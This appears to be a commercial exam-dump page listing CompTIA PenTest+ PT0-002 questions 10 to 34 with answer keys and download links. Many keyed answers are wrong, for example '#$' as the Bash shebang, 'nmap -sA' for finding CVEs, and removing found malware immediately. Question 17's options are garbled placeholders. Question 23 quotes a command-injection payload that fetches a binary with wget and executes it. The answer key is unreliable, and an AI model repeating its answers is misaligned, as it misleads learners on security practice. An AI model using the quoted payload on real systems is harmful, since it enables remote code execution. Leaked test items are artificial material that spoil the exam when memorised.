New 2021 PT0-002 exam questions Welcome to download the newest TestInsides PT0-002 PDF dumps (112 Q&As)
P.S. Free 2021 CompTIA PenTest+ PT0-002 dumps are available on Google Drive shared by TestInsides
NEW QUESTION 10
A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?
- A. Assume the alert is from the penetration test.
- B. Conduct an incident response.
- C. Halt the penetration test.
- D. Deconflict with the penetration tester.
Answer: B
NEW QUESTION 11
A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial dat a. Which of the following should the tester do with this information to make this a successful exploit?
- A. Conduct a watering-hole attack.
- B. Use browser autopwn.
- C. Perform XSS.
- D. Use BeEF.
Answer: C
NEW QUESTION 12
A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?
- A. Attempting to tailgate an employee going into the client's workplace
- B. Dropping a malicious USB key with the company's logo in the parking lot
- C. Performing spear phishing against employees by posing as senior management
- D. Using a brute-force attack against the external perimeter to gain a foothold
Answer: D
NEW QUESTION 13
A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?
- A. "cisco-ios" "admin+1234"
- B. "cisco-ios" "last-modified"
- C. "cisco-ios" "default-passwords"
- D. "cisco-ios" "no-password"
Answer: A
NEW QUESTION 14
A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following:
* Connected to 10.2.11.144 (::1) port 80 (#0)
> GET /readmine.html HTTP/1.1
> Host: 10.2.11.144
> User-Agent: curl/7.67.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Date: Tue, 02 Feb 2021 21:46:47 GMT
< Server: Apache/2.4.41 (Debian)
< Content-Length: 317
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress › ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
Which of the following tools would be BEST for the penetration tester to use to explore this site further?
- A. OWASP ZAP
- B. WPScan
- C. Burp Suite
- D. DirBuster
Answer: C
NEW QUESTION 15
A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?
- A. Run nmap with the -sA option set against the target
- B. Run nmap with the --script vulners option set against the target
- C. Run nmap with the -sV and -p22 options set against the target
- D. Run nmap with the -o, -p22, and -sC options set against the target
Answer: A
NEW QUESTION 16
A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?
- A. NDA
- B. SLA
- C. MSA
- D. ROE
Answer: A
NEW QUESTION 17
A penetration tester performs the following command:
curl -I -http2 https://www.comptia.org
Which of the following snippets of output will the tester MOST likely receive?
- A. Option A
- B. Option D
- C. Option B
- D. Option C
Answer: A
NEW QUESTION 18
A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)
- A. An Nmap scan
- B. Traffic sniffing
- C. Port knocking
- D. Open-source research
- E. A ping sweep
- F. A vulnerability scan
Answer: A,F
NEW QUESTION 19
A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?
- A. Validate API security settings before deployment.
- B. Perform routine static and dynamic analysis of committed code.
- C. Add a dependency checker into the tool chain.
- D. Perform fuzz testing of compiled binaries.
Answer: D
NEW QUESTION 20
A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:
Pre-engagement interaction (scoping and ROE)
Intelligence gathering (reconnaissance)
Threat modeling
Vulnerability analysis
Exploitation and post exploitation
Reporting
Which of the following methodologies does the client use?
- A. NIST SP 800-115
- B. OWASP Web Security Testing Guide
- C. OSSTMM
- D. PTES technical guidelines
Answer: D
NEW QUESTION 21
Appending string values onto another string is called:
- A. compilation
- B. connection
- C. concatenation
- D. conjunction
Answer: C
NEW QUESTION 22
A penetration tester runs a scan against a server and obtains the following output:
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-12-20 09:23AM 331 index.aspx
| ftp-syst:
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2012 Std
3389/tcp open ssl/ms-wbt-server
| rdp-ntlm-info:
| Target Name: WEB3
| NetBIOS_Computer_Name: WEB3
| Product_Version: 6.3.9600
|_ System_Time: 2021-01-15T11:32:06+00:00
8443/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
Which of the following command sequences should the penetration tester try NEXT?
- A. curl -X TRACE https://192.168.53.23:8443/index.aspx
- B. nmap --script vuln -sV 192.168.53.23
- C. ncrack -u Administrator -P 15worst_passwords.txt -p rdp 192.168.53.23
- D. ftp 192.168.53.23
- E. smbclient \\\\WEB3\\IPC$ -I 192.168.53.23 -U guest
Answer: D
NEW QUESTION 23
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%27&loginUser=a&Pwd=a" exploit += "HTTP/1.1" Which of the following commands should the penetration tester run post-engagement?
- A. chmod 600 /tmp/apache
- B. rm -rf /tmp/apache
- C. taskkill /IM "apache" /F
- D. grep -v apache ~/.bash_history > ~/.bash_history
Answer: B
NEW QUESTION 24
Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)
- A. The name of the person who found the flaw
- B. The CVSS score of the finding
- C. The client acceptance form
- D. The network location of the vulnerable device
- E. The vulnerability identifier
- F. The tool used to find the issue
Answer: E,F
NEW QUESTION 25
When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal?
- A. #$
- B. <#
- C. <$
- D. ##
- E. #!
Answer: A
NEW QUESTION 26
A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?
- A. Cybersquatting
- B. Session riding
- C. Data flooding
- D. Side channel
Answer: B
NEW QUESTION 27
Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?
- A. MITRE ATT&CK framework
- B. OWASP Top 10
- C. NIST SP 800-53
- D. PTES technical guidelines
Answer: A
NEW QUESTION 28
A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?
- A. Implement a recurring cybersecurity awareness education program for all users.
- B. Implement an email security gateway to block spam and malware from email communications.
- C. Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
- D. Implement multifactor authentication on all corporate applications.
Answer: A
NEW QUESTION 29
A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?
- A. tcpdump
- B. hping3
- C. Scapy
- D. Nmap
Answer: D
NEW QUESTION 30
Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?
- A. Collect the proper evidence and then remove the malware.
- B. Do a root-cause analysis to find out how the malware got in.
- C. Analyze the malware to see what it does.
- D. Stop the assessment and inform the emergency contact.
- E. Remove the malware immediately.
Answer: E
NEW QUESTION 31
A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important dat a. Which of the following was captured by the testing team?
- A. Encrypted file transfers
- B. User hashes sent over SMB
- C. IP addresses
- D. Multiple handshakes
Answer: B
NEW QUESTION 32
A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?
- A. Collect the proper evidence and add to the final report
- B. Call law enforcement officials immediately
- C. Try to take down the attackers
- D. Reach out to the primary point of contact
Answer: D
NEW QUESTION 33
A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?
- A. Continue the engagement and include the backdoor finding in the final report
- B. Utilize the backdoor in support of the engagement
- C. Forensically acquire the backdoor Trojan and perform attribution
- D. Inform the customer immediately about the backdoor
Answer: A
NEW QUESTION 34
In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?
- A. Check for an open relay configuration.
- B. Perform a reverse DNS query and match to the service banner.
- C. Attempt to brute force authentication to the service.
- D. Test for RFC-defined protocol conformance.
Answer: B
NEW QUESTION 35
......
PT0-002 exam questions from TestInsides dumps: https://www.testinsides.top/PT0-002-dumps-review.html (112 Q&As)
Free 2021 CompTIA PenTest+ PT0-002 dumps are available on Google Drive shared by TestInsides: https://drive.google.com/open?id=1wk41BcBLwCIcRFdMsWmRCwUYHx_j5kMK